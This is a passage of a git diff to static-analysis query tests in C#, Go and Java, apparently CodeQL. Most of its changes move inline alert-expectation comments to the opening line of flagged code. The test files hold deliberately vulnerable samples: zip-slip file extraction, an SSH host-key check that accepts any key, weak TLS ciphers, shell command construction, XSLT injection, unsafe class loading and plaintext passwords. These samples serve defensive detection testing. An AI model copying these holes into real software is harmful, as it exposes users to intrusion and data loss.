a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs index 4095af2863a4..b3e0cff6ae30 100644 --- a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs +++ b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs @@ -7,7 +7,7 @@ static void Method(string[] args) // BAD foreach (var arg in args) { - } // $ Alert + } // OK - comment foreach (var arg in args) @@ -24,7 +24,7 @@ static void Method(string[] args) // BAD if (true) { - } // $ Alert + } // OK - comment if (true) @@ -46,6 +46,6 @@ static void Method(string[] args) // BAD: there is no update for (int i = 0; i < 10;) { - } // $ Alert + } } } diff --git a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref index 5fe264815b80..8c45d1196b61 100644 --- a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref +++ b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref @@ -1,2 +1 @@ query: Likely Bugs/Statements/EmptyBlock.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs b/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs index 45dc182cc729..78a983017a01 100644 --- a/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs +++ b/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs @@ -7,16 +7,16 @@ void M(bool rethrow) try { } - catch (Exception) + catch (Exception) // $ Alert { // BAD - } // $ Alert + } try { } - catch + catch // $ Alert { // BAD - } // $ Alert + } try { @@ -49,10 +49,10 @@ double reciprocal(double input) { return 1 / input; } - catch + catch // $ Alert { // BAD // division by zero, return 0 return 0; - } // $ Alert + } } } diff --git a/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs b/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs index 3917ff990801..9d7d40818348 100644 --- a/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs +++ b/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs @@ -45,7 +45,7 @@ public void M(object x) { } // GOOD - if (x is A) + if (x is A) // $ Alert // BAD { } else if (x is B) @@ -62,7 +62,7 @@ public void M(object x) } else if (x is F) { - } // $ Alert // BAD + } } class A { } diff --git a/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs b/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs index bb59facd9c89..ec7fc8c1a192 100644 --- a/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs +++ b/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs @@ -11,14 +11,14 @@ void fn() if (true) if (false) if (true) return; // $ Alert // BAD: using braces - if (true) + if (true) // $ Alert { { if (false) { } } - } // $ Alert + } // GOOD: contains else part if (true) diff --git a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs index 83018409f5cf..26c5efe89634 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs @@ -139,16 +139,16 @@ public static void Run() try { - Parallel.Invoke(() => + Parallel.Invoke(() => // $ Alert { var bytes = new byte[4]; Convert.ToBase64String(sha1.ComputeHash(bytes)); - }, // $ Alert - () => + }, + () => // $ Alert { var bytes = new byte[4]; Convert.ToBase64String(sha1.ComputeHash(bytes)); - } // $ Alert + } ); } diff --git a/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs b/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs index 5bd7f5dcec08..a5d7bdff0f49 100644 --- a/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs +++ b/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs @@ -7,11 +7,11 @@ class MissedCastOpportunity public void M1(List animals) { // BAD: Can be replaced with animals.Cast(). - foreach (Animal a in animals) + foreach (Animal a in animals) // $ Alert { Dog d = (Dog)a; d.Woof(); - } // $ Alert + } } public void M2(NonEnumerableClass nec) @@ -27,31 +27,31 @@ public void M2(NonEnumerableClass nec) public void M3(Animal[] animals) { // BAD: Can be replaced with animals.Cast(). - foreach (Animal animal in animals) + foreach (Animal animal in animals) // $ Alert { Dog d = (Dog)animal; d.Woof(); - } // $ Alert + } } public void M4(Array animals) { // BAD: Can be replaced with animals.Cast(). - foreach (Animal animal in animals) + foreach (Animal animal in animals) // $ Alert { Dog d = (Dog)animal; d.Woof(); - } // $ Alert + } } public void M5(IEnumerable animals) { // BAD: Can be replaced with animals.Cast(). - foreach (object animal in animals) + foreach (object animal in animals) // $ Alert { Dog d = (Dog)animal; d.Woof(); - } // $ Alert + } } public class NonEnumerableClass diff --git a/csharp/ql/test/query-tests/Linq/MissedFirstOrDefaultOpportunity/MissedFirstOrDefaultOpportunity.cs b/csharp/ql/test/query-tests/Linq/MissedFirstOrDefaultOpportunity/MissedFirstOrDefaultOpportunity.cs index 8120a70414e5..516ad9ef6904 100644 --- a/csharp/ql/test/query-tests/Linq/MissedFirstOrDefaultOpportunity/MissedFirstOrDefaultOpportunity.cs +++ b/csharp/ql/test/query-tests/Linq/MissedFirstOrDefaultOpportunity/MissedFirstOrDefaultOpportunity.cs @@ -7,11 +7,11 @@ class MissedFirstOrDefaultOpportunity public Operation M1(IEnumerable operations, string operationId) { // BAD: Can be replaced with operations.FirstOrDefault(operation => ...). - foreach (var operation in operations) + foreach (var operation in operations) // $ Alert { if (string.Equals(operation.OperationId, operationId, StringComparison.Ordinal)) return operation; - } // $ Alert + } return null; } @@ -19,13 +19,13 @@ public Operation M1(IEnumerable operations, string operationId) public int M2(IEnumerable values) { // BAD: Can be replaced with values.FirstOrDefault(value => ...). - foreach (var value in values) + foreach (var value in values) // $ Alert { if (value > 0) { return value; } - } // $ Alert + } return default; } @@ -33,11 +33,11 @@ public int M2(IEnumerable values) public int? M3(List values) { // BAD: Can be replaced with values.FirstOrDefault(value => ...). - foreach (var value in values) + foreach (var value in values) // $ Alert { if (value > 0) return value; - } // $ Alert + } return default(int); } @@ -146,11 +146,11 @@ public object M11(IEnumerable values) public object M12(IEnumerable values) { // BAD: FirstOrDefault returns null for missing reference-type elements, matching the fallback. - foreach (var value in values) + foreach (var value in values) // $ Alert { if (value.Length > 0) return value; - } // $ Alert + } return null; } @@ -158,11 +158,11 @@ public object M12(IEnumerable values) public object M13(IEnumerable values) { // BAD: FirstOrDefault returns 0 for missing int elements, matching the fallback before boxing. - foreach (var value in values) + foreach (var value in values) // $ Alert { if (value > 0) return value; - } // $ Alert + } return default(int); } diff --git a/csharp/ql/test/query-tests/Linq/MissedSelectOpportunity/MissedSelectOpportunity.cs b/csharp/ql/test/query-tests/Linq/MissedSelectOpportunity/MissedSelectOpportunity.cs index 9655a5a0fa9c..d0bf4bb1db75 100644 --- a/csharp/ql/test/query-tests/Linq/MissedSelectOpportunity/MissedSelectOpportunity.cs +++ b/csharp/ql/test/query-tests/Linq/MissedSelectOpportunity/MissedSelectOpportunity.cs @@ -8,11 +8,11 @@ class MissedSelectOpportunity public void M1(List lst) { // BAD: Can be replaced with lst.Select(i => i * i) - foreach (int i in lst) + foreach (int i in lst) // $ Alert { int j = i * i; Console.WriteLine(j); - } // $ Alert + } } public async Task M2(IEnumerable counters) diff --git a/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs b/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs index 7b9d35821299..e59c9ee3e576 100644 --- a/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs +++ b/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs @@ -7,23 +7,23 @@ class MissedWhereOpportunity public void M1(List lst) { // BAD: Can be replaced with lst.Where(e => e % 2 == 0) - foreach (int i in lst) + foreach (int i in lst) // $ Alert { if (i % 2 != 0) continue; Console.WriteLine(i); Console.WriteLine((i / 2)); - } // $ Alert + } // BAD: Can be replaced with lst.Where(e => e % 2 == 0) - foreach (int i in lst) + foreach (int i in lst) // $ Alert { if (i % 2 == 0) { Console.WriteLine(i); Console.WriteLine((i / 2)); } - } // $ Alert + } } public void M2(NonEnumerableClass nec) @@ -42,14 +42,14 @@ public void M2(NonEnumerableClass nec) public void M3(int[] arr) { // BAD: Can be replaced with arr.Where(e => e % 2 == 0) - foreach (var n in arr) + foreach (var n in arr) // $ Alert { if (n % 2 == 0) { Console.WriteLine(n); Console.WriteLine((n / 2)); } - } // $ Alert + } } public void M4(Array arr) @@ -67,13 +67,13 @@ public void M4(Array arr) public void M5(IEnumerable elements) { // BAD: Can be replaced with elements.Where(e => e.GetHashCode() % 2 == 0) - foreach (var element in elements) + foreach (var element in elements) // $ Alert { if (element.GetHashCode() % 2 == 0) { Console.WriteLine(element); } - } // $ Alert + } } public int M6(IEnumerable elements) @@ -117,13 +117,13 @@ public void M8(IEnumerable elements) public IEnumerable M9(IEnumerable elements) { // BAD: A yield return does not exit the iterator, so the loop still filters yielded values. - foreach (var element in elements) + foreach (var element in elements) // $ Alert { if (element.GetHashCode() % 2 == 0) { yield return element; } - } // $ Alert + } } public int M10(IEnumerable elements) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.expected b/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.expected index 8025e4990fd7..9fbae74252f3 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.expected @@ -1,2 +1,2 @@ -| bad1/Web.config:4:5:7:7 | debug=true | The 'debug' flag is set for an ASP.NET configuration file. | -| bad2/Web.config:4:5:7:7 | debug=true | The 'debug' flag is set for an ASP.NET configuration file. | +| bad1/Web.config:4:42:7:7 | debug=true | The 'debug' flag is set for an ASP.NET configuration file. | +| bad2/Web.config:4:42:7:7 | debug=true | The 'debug' flag is set for an ASP.NET configuration file. | diff --git a/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config index c79a46e2c881..1f096fa2f23d 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config @@ -1,9 +1,9 @@ - + /> diff --git a/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config index c79a46e2c881..1f096fa2f23d 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config @@ -1,9 +1,9 @@ - + /> diff --git a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config index d04829109d33..f55a4d819342 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config @@ -1,7 +1,7 @@ - - + + diff --git a/csharp/ql/test/query-tests/UseBraces/UseBraces.cs b/csharp/ql/test/query-tests/UseBraces/UseBraces.cs index 99d7c1b5ae6d..b97ff9cfdfc0 100644 --- a/csharp/ql/test/query-tests/UseBraces/UseBraces.cs +++ b/csharp/ql/test/query-tests/UseBraces/UseBraces.cs @@ -28,8 +28,8 @@ static void Main(string[] args) f(); g(); // BAD - if (1 == 1) - f(); g(); // $ Alert // BAD + if (1 == 1) // $ Alert // BAD + f(); g(); // If-then-else statement @@ -58,12 +58,12 @@ static void Main(string[] args) f(); g(); // BAD - if (x > 1) + if (x > 1) // $ Alert // BAD { f(); } else - f(); g(); // $ Alert // BAD + f(); g(); // While statement @@ -82,8 +82,8 @@ static void Main(string[] args) g(); // BAD g(); // GOOD - while (x > 1) - f(); g(); // $ Alert // BAD + while (x > 1) // $ Alert // BAD + f(); g(); while (x > 1) if (x != null) x = 1; @@ -110,8 +110,8 @@ static void Main(string[] args) f(); g(); // BAD - for (int i = 0; i < 10; ++i) - f(); g(); // $ Alert // BAD + for (int i = 0; i < 10; ++i) // $ Alert // BAD + f(); g(); // Foreach statement @@ -129,8 +129,8 @@ static void Main(string[] args) f(); g(); // BAD - foreach (var b in branches) - f(); g(); // $ Alert // BAD + foreach (var b in branches) // $ Alert // BAD + f(); g(); // Nested ifs if (x > 1) diff --git a/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs index fffdaf9de743..143b17e83a52 100644 --- a/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs +++ b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs @@ -7,9 +7,9 @@ public void M(string s) { if (s.Length > 0) ; // $ Alert - if (s.Length > 1) + if (s.Length > 1) // $ Alert { - } // $ Alert + } if (s.Length > 2) // GOOD: because of else-branch { @@ -19,12 +19,12 @@ public void M(string s) Console.WriteLine("hello"); } - if (s.Length > 3) + if (s.Length > 3) // $ Alert { } else { - } // $ Alert + } if (s.Length > 4) { diff --git a/go/ql/test/experimental/CWE-285/main.go b/go/ql/test/experimental/CWE-285/main.go index 352a57bb6990..2c5b209796c2 100644 --- a/go/ql/test/experimental/CWE-285/main.go +++ b/go/ql/test/experimental/CWE-285/main.go @@ -7,9 +7,9 @@ import ( ) func bad() error { - t, _ := pam.StartFunc("", "", func(s pam.Style, msg string) (string, error) { + t, _ := pam.StartFunc("", "", func(s pam.Style, msg string) (string, error) { // $ Alert return "", nil - }) // $ Alert + }) return t.Authenticate(0) } diff --git a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go index eff08179ee5a..309a219109ca 100644 --- a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go +++ b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go @@ -4,10 +4,10 @@ import "gorm.io/gorm" func getUsers(db *gorm.DB, names []string) []User { res := make([]User, 0, len(names)) - for _, name := range names { + for _, name := range names { // $ Source var user User db.Where("name = ?", name).First(&user) // $ Alert res = append(res, user) - } // $ Source + } return res } diff --git a/go/ql/test/experimental/CWE-400/test.go b/go/ql/test/experimental/CWE-400/test.go index 4c0a7f01d2eb..d213cff8018d 100644 --- a/go/ql/test/experimental/CWE-400/test.go +++ b/go/ql/test/experimental/CWE-400/test.go @@ -17,11 +17,11 @@ func runRunQuery(db *gorm.DB) { func main() { var db *gorm.DB - for i := 0; i < 10; i++ { + for i := 0; i < 10; i++ { // $ Source runQuery(db) - } // $ Source + } - for i := 10; i > 0; i-- { + for i := 10; i > 0; i-- { // $ Source runRunQuery(db) - } // $ Source + } } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Beego/test.go b/go/ql/test/library-tests/semmle/go/frameworks/Beego/test.go index 38cb06691f83..26ec483680eb 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Beego/test.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Beego/test.go @@ -287,9 +287,9 @@ func testUtilsPropagators(c *beego.Controller) { c.CustomAbort(500, utils.SliceDiff(untainted, genericFiles)[0].(*multipart.FileHeader).Filename) c.CustomAbort( 500, - utils.SliceFilter( + utils.SliceFilter( // $ Alert[go/reflected-xss] genericFiles, - func([]interface{}) bool { return true })[0].(*multipart.FileHeader).Filename) // $ Alert[go/reflected-xss] + func([]interface{}) bool { return true })[0].(*multipart.FileHeader).Filename) c.CustomAbort(500, utils.SliceIntersect(genericFiles, untainted)[0].(*multipart.FileHeader).Filename) // $ Alert[go/reflected-xss] c.CustomAbort(500, utils.SliceIntersect(untainted, genericFiles)[0].(*multipart.FileHeader).Filename) // $ Alert[go/reflected-xss] c.CustomAbort(500, utils.SliceMerge(genericFiles, untainted)[0].(*multipart.FileHeader).Filename) // $ Alert[go/reflected-xss] diff --git a/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go b/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go index 936c3c8e9a26..9c549ea6bec7 100644 --- a/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go +++ b/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go @@ -8,9 +8,9 @@ import ( func unzip(f string) { r, _ := zip.OpenReader(f) - for _, f := range r.File { + for _, f := range r.File { // $ Alert[go/zipslip] p, _ := filepath.Abs(f.Name) // BAD: This could overwrite any file on the file system ioutil.WriteFile(p, []byte("present"), 0666) // $ Sink[go/zipslip] - } // $ Alert[go/zipslip] + } } diff --git a/go/ql/test/query-tests/Security/CWE-022/tst.go b/go/ql/test/query-tests/Security/CWE-022/tst.go index 33b2aa072c0d..95416fcdbe59 100644 --- a/go/ql/test/query-tests/Security/CWE-022/tst.go +++ b/go/ql/test/query-tests/Security/CWE-022/tst.go @@ -20,7 +20,7 @@ func uploadFile(w http.ResponseWriter, r *http.Request) { func unzip2(f string, root string) { r, _ := zip.OpenReader(f) - for _, f := range r.File { + for _, f := range r.File { // $ Alert[go/zipslip] path := f.Name relpath, err := filepath.Rel(root, path) if err == nil { @@ -40,7 +40,7 @@ func unzip2(f string, root string) { if containedIn(f.Name, root) { ioutil.WriteFile(f.Name, []byte("present"), 0666) // OK } - } // $ Alert[go/zipslip] + } } func containedIn(f string, root string) bool { diff --git a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go index 1d5b17ebd8d4..06031481ffc5 100644 --- a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go +++ b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go @@ -12,10 +12,10 @@ func insecureSSHClientConfig() { _ = &ssh.ClientConfig{ User: "user", Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.HostKeyCallback( // BAD + HostKeyCallback: ssh.HostKeyCallback( // $ Source Alert // BAD func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil - }), // $ Source Alert + }), } } @@ -28,10 +28,10 @@ func insecureSSHClientConfigAlt() { } func insecureSSHClientConfigLocalFlow() { - callback := ssh.HostKeyCallback( + callback := ssh.HostKeyCallback( // $ Source func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil - }) // $ Source + }) _ = &ssh.ClientConfig{ User: "user", @@ -42,9 +42,9 @@ func insecureSSHClientConfigLocalFlow() { func insecureSSHClientConfigLocalFlowAlt() { callback := - func(hostname string, remote net.Addr, key ssh.PublicKey) error { + func(hostname string, remote net.Addr, key ssh.PublicKey) error { // $ Source return nil - } // $ Source + } _ = &ssh.ClientConfig{ User: "user", diff --git a/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go b/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go index 5a91077e5559..2f103ec1efcc 100644 --- a/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go +++ b/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go @@ -256,62 +256,62 @@ func minMaxTlsVersion() { func cipherSuites() { { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD tls.TLS_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } @@ -359,9 +359,9 @@ func cipherSuites() { oldVersionFlag := len(os.Args) > 3 if unknown { config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } @@ -429,9 +429,9 @@ func cipherSuites() { _ = config default: config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } @@ -453,9 +453,9 @@ func cipherSuites() { _ = config default: config := &tls.Config{ - CipherSuites: []uint16{ + CipherSuites: []uint16{ // $ Alert[go/insecure-tls] tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD - }, // $ Alert[go/insecure-tls] + }, } _ = config } diff --git a/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java b/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java index 9d1ec9d73f76..c053f72e6d12 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java @@ -33,10 +33,10 @@ public static void test() { // 4. Stream concatenation Runtime.getRuntime().exec( - Stream.concat( // $ + Stream.concat( // $ Alert[java/command-line-injection-extra-local] Arrays.stream(new String[]{"/bin/sh"}), Arrays.stream(new String[]{script}) - ).toArray(String[]::new) // $ Alert[java/command-line-injection-extra-local] + ).toArray(String[]::new) ); } catch (Exception e) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java b/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java index 213dfa961964..cf679c5e67d2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java +++ b/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java @@ -12,8 +12,8 @@ public void onCreate() { for (PackageInfo p : getPackageManager().getInstalledPackages(0)) { try { if (p.packageName.startsWith("some.package.")) { - Context appContext = createPackageContext(p.packageName, // $ - CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY); // $ Source[java/android/unsafe-reflection] + Context appContext = createPackageContext(p.packageName, // $ Source[java/android/unsafe-reflection] + CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY); ClassLoader classLoader = appContext.getClassLoader(); Object result = classLoader.loadClass("some.package.SomeClass") // $ Alert[java/android/unsafe-reflection] .getMethod("someMethod") diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml b/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml index fc7536c7175e..fb76d7345b81 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml @@ -7,24 +7,24 @@ - + - + - + - + - + - + - + - + diff --git a/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml b/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml index 3e197e53fcac..d314f4c81f23 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml @@ -13,10 +13,10 @@ debug 0 - + listings true - + 1 diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected index c6e5515918fc..8be811d249ad 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected @@ -1,3 +1,3 @@ | applicationContext.xml:9:3:9:48 | name=password | Avoid plaintext passwords in configuration files. | -| context.xml:4:2:8:50 | password=1234 | Avoid plaintext passwords in configuration files. | +| context.xml:4:18:8:50 | password=1234 | Avoid plaintext passwords in configuration files. | | custom-config.xml:3:2:3:137 | value=server=myoracle.example.com;port=1521;database=testdb;username=root;password=test1234 | Avoid plaintext passwords in configuration files. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml index f3e59bfcdb1d..f580ae66ae64 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml @@ -1,11 +1,11 @@ - + url="jdbc:mysql://www.example1.com:3306/proj"/> b5; public B getter5() { if (b5 == null) { - synchronized(this) { // $ + synchronized(this) { // $ Alert[java/unsafe-double-checked-locking] if (b5 == null) { B b = new B(); b5 = new FinalHelper(b); // BAD, racy read on b5 outside synchronized-block } - } // $ Alert[java/unsafe-double-checked-locking] + } } return b5.x; // Potential NPE here, as the two b5 reads may be reordered } diff --git a/java/ql/test/query-tests/MissingSpaceTypo/A.java b/java/ql/test/query-tests/MissingSpaceTypo/A.java index 284fd20c8634..d5d6ae2a30d8 100644 --- a/java/ql/test/query-tests/MissingSpaceTypo/A.java +++ b/java/ql/test/query-tests/MissingSpaceTypo/A.java @@ -1,20 +1,20 @@ public class A { public void missing() { String s; - s = "this text" + - "is missing a space"; // $ Alert - s = "the class java.util.ArrayList" + - "without a space"; // $ Alert - s = "This isn't" + - "right."; // $ Alert - s = "There's 1" + - "thing wrong"; // $ Alert - s = "There's A/B" + - "and no space"; // $ Alert - s = "Wait for it...." + - "No space!"; // $ Alert - s = "Is there a space?" + - "No!"; // $ Alert + s = "this text" + // $ Alert + "is missing a space"; + s = "the class java.util.ArrayList" + // $ Alert + "without a space"; + s = "This isn't" + // $ Alert + "right."; + s = "There's 1" + // $ Alert + "thing wrong"; + s = "There's A/B" + // $ Alert + "and no space"; + s = "Wait for it...." + // $ Alert + "No space!"; + s = "Is there a space?" + // $ Alert + "No!"; } public void ok() { diff --git a/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml b/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml index 644cc968f98c..073468119234 100644 --- a/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml +++ b/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml @@ -14,20 +14,20 @@ jar - + com.semmle another-project ${project.version} - - + + commons-lang commons-lang - - + + semmle-test semmle-test 1.0 - + diff --git a/java/ql/test/query-tests/security/CWE-074/XsltInjection/XsltInjectionTest.java b/java/ql/test/query-tests/security/CWE-074/XsltInjection/XsltInjectionTest.java index d6804d801b79..4333acb992d1 100644 --- a/java/ql/test/query-tests/security/CWE-074/XsltInjection/XsltInjectionTest.java +++ b/java/ql/test/query-tests/security/CWE-074/XsltInjection/XsltInjectionTest.java @@ -61,14 +61,14 @@ public void testStAXSourceEventReader(Socket socket) throws Exception { } public void testStAXSourceEventStream(Socket socket) throws Exception { - StAXSource source = new StAXSource(XMLInputFactory.newInstance().createXMLStreamReader(null, - new InputStreamReader(socket.getInputStream()))); // $ Source + StAXSource source = new StAXSource(XMLInputFactory.newInstance().createXMLStreamReader(null, // $ Source + new InputStreamReader(socket.getInputStream()))); TransformerFactory.newInstance().newTemplates(source).newTransformer().transform(null, null); // $ Alert } public void 